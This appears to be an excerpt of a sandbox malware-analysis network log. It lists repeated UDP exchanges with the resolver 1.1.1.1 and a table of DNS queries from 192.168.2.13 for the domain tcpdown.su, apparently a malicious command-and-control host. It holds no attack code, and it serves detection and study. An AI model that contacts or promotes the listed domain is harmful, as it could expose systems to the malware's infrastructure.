Jan 7, 2025 01:24:47.382440090 CET	45271	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.389658928 CET	53	45271	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:47.390676975 CET	49454	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.397716045 CET	53	49454	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:47.398683071 CET	42064	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.405522108 CET	53	42064	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:47.406533003 CET	51754	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.413279057 CET	53	51754	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:47.414351940 CET	42383	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.421324015 CET	53	42383	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:48.966049910 CET	59562	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:48.974544048 CET	53	59562	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:48.975641966 CET	54824	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:48.982649088 CET	53	54824	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:48.983655930 CET	45218	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:48.990386009 CET	53	45218	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:48.991379023 CET	58852	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:49.005072117 CET	53	58852	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:49.006217003 CET	47912	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:49.013305902 CET	53	47912	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:49.014415979 CET	58645	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:49.021465063 CET	53	58645	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.878526926 CET	45570	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.885551929 CET	53	45570	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.886581898 CET	37691	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.893562078 CET	53	37691	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.894505024 CET	50807	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.901458025 CET	53	50807	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.902388096 CET	43032	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.910176992 CET	53	43032	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.911166906 CET	55628	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.918119907 CET	53	55628	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:50.919066906 CET	34516	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:50.926814079 CET	53	34516	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.808000088 CET	35862	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.815009117 CET	53	35862	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.815917969 CET	36276	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.823653936 CET	53	36276	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.824593067 CET	52356	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.831343889 CET	53	52356	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.832237005 CET	60358	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.839390039 CET	53	60358	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.840280056 CET	39204	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.847112894 CET	53	39204	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:52.847809076 CET	59272	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:52.855150938 CET	53	59272	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.402915955 CET	58650	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.411659956 CET	53	58650	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.412749052 CET	59016	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.420877934 CET	53	59016	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.422130108 CET	33022	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.435484886 CET	53	33022	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.436925888 CET	36876	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.444360971 CET	53	36876	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.445466042 CET	40527	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.453167915 CET	53	40527	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:54.454185963 CET	44603	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:54.461247921 CET	53	44603	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.150016069 CET	38798	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.157987118 CET	53	38798	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.159035921 CET	41851	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.166615009 CET	53	41851	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.167670965 CET	37977	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.174665928 CET	53	37977	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.175640106 CET	47680	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.182579041 CET	53	47680	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.183648109 CET	55166	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.190733910 CET	53	55166	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:56.191601038 CET	57093	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:56.198944092 CET	53	57093	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.066481113 CET	45185	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.074703932 CET	53	45185	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.075828075 CET	47139	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.083364964 CET	53	47139	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.084507942 CET	48744	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.092561007 CET	53	48744	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.093648911 CET	40003	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.101310968 CET	53	40003	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.102335930 CET	39311	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.109441042 CET	53	39311	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:58.110960007 CET	58011	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:58.117810965 CET	53	58011	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:59.979861021 CET	52712	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:59.987206936 CET	53	52712	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:59.988347054 CET	49329	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:59.995699883 CET	53	49329	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:59.996845007 CET	56879	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:00.004252911 CET	53	56879	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:00.005331993 CET	35658	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:00.012238026 CET	53	35658	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:00.013268948 CET	56976	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:00.020287037 CET	53	56976	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:00.021292925 CET	36918	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:00.028405905 CET	53	36918	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.907643080 CET	57386	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.915746927 CET	53	57386	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.916795015 CET	48235	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.923880100 CET	53	48235	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.924880981 CET	33909	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.932984114 CET	53	33909	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.933995008 CET	41181	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.942173004 CET	53	41181	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.943232059 CET	55878	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.951097965 CET	53	55878	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:01.952157974 CET	40799	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:01.959331989 CET	53	40799	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.807575941 CET	46497	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.815186977 CET	53	46497	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.816334009 CET	59208	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.824424028 CET	53	59208	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.825462103 CET	49243	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.832334042 CET	53	49243	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.833318949 CET	49041	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.840384960 CET	53	49041	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.841386080 CET	47988	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.848557949 CET	53	47988	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:03.849656105 CET	59759	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:03.857605934 CET	53	59759	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.412410975 CET	56893	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.422117949 CET	53	56893	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.422853947 CET	40065	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.429882050 CET	53	40065	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.430619955 CET	55855	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.438364983 CET	53	55855	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.439218998 CET	47362	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.446192026 CET	53	47362	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.446954012 CET	42612	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.454247952 CET	53	42612	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:06.455010891 CET	59423	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:06.462357998 CET	53	59423	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.324430943 CET	55434	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.333538055 CET	53	55434	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.334347010 CET	37638	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.341365099 CET	53	37638	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.342052937 CET	50288	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.348702908 CET	53	50288	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.349369049 CET	41848	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.356291056 CET	53	41848	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.357156992 CET	35691	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.364628077 CET	53	35691	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:08.365269899 CET	49227	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:08.372639894 CET	53	49227	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.081074953 CET	50364	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.088305950 CET	53	50364	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.089031935 CET	41416	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.096157074 CET	53	41416	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.096848965 CET	56513	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.103863001 CET	53	56513	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.104525089 CET	58238	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.111900091 CET	53	58238	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.112543106 CET	42815	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.119889975 CET	53	42815	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:10.120497942 CET	47721	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:10.127537012 CET	53	47721	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.001424074 CET	49726	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.009948015 CET	53	49726	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.011008024 CET	48232	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.017967939 CET	53	48232	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.018997908 CET	37345	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.025934935 CET	53	37345	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.027009964 CET	38178	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.033829927 CET	53	38178	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.034866095 CET	60836	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.042233944 CET	53	60836	1.1.1.1	192.168.2.13
Jan 7, 2025 01:25:12.043248892 CET	56919	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:25:12.050102949 CET	53	56919	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 01:23:46.377048016 CET	192.168.2.13	1.1.1.1	0x634f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.394948959 CET	192.168.2.13	1.1.1.1	0x634f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.417274952 CET	192.168.2.13	1.1.1.1	0x634f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.448352098 CET	192.168.2.13	1.1.1.1	0x634f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.460367918 CET	192.168.2.13	1.1.1.1	0x634f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.601346970 CET	192.168.2.13	1.1.1.1	0xc999	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.691271067 CET	192.168.2.13	1.1.1.1	0xc999	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.701996088 CET	192.168.2.13	1.1.1.1	0xc999	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.710952997 CET	192.168.2.13	1.1.1.1	0xc999	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.721807957 CET	192.168.2.13	1.1.1.1	0xc999	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.602974892 CET	192.168.2.13	1.1.1.1	0x8605	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.619306087 CET	192.168.2.13	1.1.1.1	0x8605	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.634723902 CET	192.168.2.13	1.1.1.1	0x8605	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.644439936 CET	192.168.2.13	1.1.1.1	0x8605	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.659928083 CET	192.168.2.13	1.1.1.1	0x8605	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.307689905 CET	192.168.2.13	1.1.1.1	0xf48e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.327626944 CET	192.168.2.13	1.1.1.1	0xf48e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.337563992 CET	192.168.2.13	1.1.1.1	0xf48e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.346642017 CET	192.168.2.13	1.1.1.1	0xf48e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.366439104 CET	192.168.2.13	1.1.1.1	0xf48e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.234644890 CET	192.168.2.13	1.1.1.1	0x6a53	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.242377043 CET	192.168.2.13	1.1.1.1	0x6a53	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.254359007 CET	192.168.2.13	1.1.1.1	0x6a53	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.263019085 CET	192.168.2.13	1.1.1.1	0x6a53	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.271538973 CET	192.168.2.13	1.1.1.1	0x6a53	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.817311049 CET	192.168.2.13	1.1.1.1	0xb090	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.826697111 CET	192.168.2.13	1.1.1.1	0xb090	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.846777916 CET	192.168.2.13	1.1.1.1	0xb090	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.854504108 CET	192.168.2.13	1.1.1.1	0xb090	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.862956047 CET	192.168.2.13	1.1.1.1	0xb090	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.749048948 CET	192.168.2.13	1.1.1.1	0xac7f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.768882036 CET	192.168.2.13	1.1.1.1	0xac7f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.776503086 CET	192.168.2.13	1.1.1.1	0xac7f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.785850048 CET	192.168.2.13	1.1.1.1	0xac7f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.793462992 CET	192.168.2.13	1.1.1.1	0xac7f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.681888103 CET	192.168.2.13	1.1.1.1	0xb6af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.690660000 CET	192.168.2.13	1.1.1.1	0xb6af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.698740005 CET	192.168.2.13	1.1.1.1	0xb6af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.718391895 CET	192.168.2.13	1.1.1.1	0xb6af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.726232052 CET	192.168.2.13	1.1.1.1	0xb6af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.613042116 CET	192.168.2.13	1.1.1.1	0x6b8b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.628464937 CET	192.168.2.13	1.1.1.1	0x6b8b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.636025906 CET	192.168.2.13	1.1.1.1	0x6b8b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.643713951 CET	192.168.2.13	1.1.1.1	0x6b8b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.658798933 CET	192.168.2.13	1.1.1.1	0x6b8b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.522030115 CET	192.168.2.13	1.1.1.1	0x1507	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.530458927 CET	192.168.2.13	1.1.1.1	0x1507	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.538074017 CET	192.168.2.13	1.1.1.1	0x1507	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.545846939 CET	192.168.2.13	1.1.1.1	0x1507	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.554492950 CET	192.168.2.13	1.1.1.1	0x1507	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.239213943 CET	192.168.2.13	1.1.1.1	0xc476	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.247497082 CET	192.168.2.13	1.1.1.1	0xc476	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.255433083 CET	192.168.2.13	1.1.1.1	0xc476	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.270370960 CET	192.168.2.13	1.1.1.1	0xc476	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.278289080 CET	192.168.2.13	1.1.1.1	0xc476	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.146076918 CET	192.168.2.13	1.1.1.1	0xc573	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.154210091 CET	192.168.2.13	1.1.1.1	0xc573	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.163121939 CET	192.168.2.13	1.1.1.1	0xc573	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.172188997 CET	192.168.2.13	1.1.1.1	0xc573	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.181135893 CET	192.168.2.13	1.1.1.1	0xc573	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856890917 CET	192.168.2.13	1.1.1.1	0x8232	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.865130901 CET	192.168.2.13	1.1.1.1	0x8232	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.872569084 CET	192.168.2.13	1.1.1.1	0x8232	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.880423069 CET	192.168.2.13	1.1.1.1	0x8232	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.888436079 CET	192.168.2.13	1.1.1.1	0x8232	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.480309010 CET	192.168.2.13	1.1.1.1	0x1c41	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.500233889 CET	192.168.2.13	1.1.1.1	0x1c41	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.507582903 CET	192.168.2.13	1.1.1.1	0x1c41	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.522989988 CET	192.168.2.13	1.1.1.1	0x1c41	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.530816078 CET	192.168.2.13	1.1.1.1	0x1c41	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.402192116 CET	192.168.2.13	1.1.1.1	0x5dd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.409941912 CET	192.168.2.13	1.1.1.1	0x5dd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.417689085 CET	192.168.2.13	1.1.1.1	0x5dd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.426068068 CET	192.168.2.13	1.1.1.1	0x5dd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.433868885 CET	192.168.2.13	1.1.1.1	0x5dd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.554486990 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.562210083 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.570156097 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.578056097 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.586950064 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.480268955 CET	192.168.2.13	1.1.1.1	0xeda7	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.488120079 CET	192.168.2.13	1.1.1.1	0xeda7	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.496201992 CET	192.168.2.13	1.1.1.1	0xeda7	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.503823042 CET	192.168.2.13	1.1.1.1	0xeda7	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.511596918 CET	192.168.2.13	1.1.1.1	0xeda7	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.195492983 CET	192.168.2.13	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.204487085 CET	192.168.2.13	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.212271929 CET	192.168.2.13	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.220189095 CET	192.168.2.13	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.228146076 CET	192.168.2.13	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788819075 CET	192.168.2.13	1.1.1.1	0xc8af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.796729088 CET	192.168.2.13	1.1.1.1	0xc8af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.804631948 CET	192.168.2.13	1.1.1.1	0xc8af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.812808037 CET	192.168.2.13	1.1.1.1	0xc8af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.827910900 CET	192.168.2.13	1.1.1.1	0xc8af	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.711410999 CET	192.168.2.13	1.1.1.1	0x5e2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
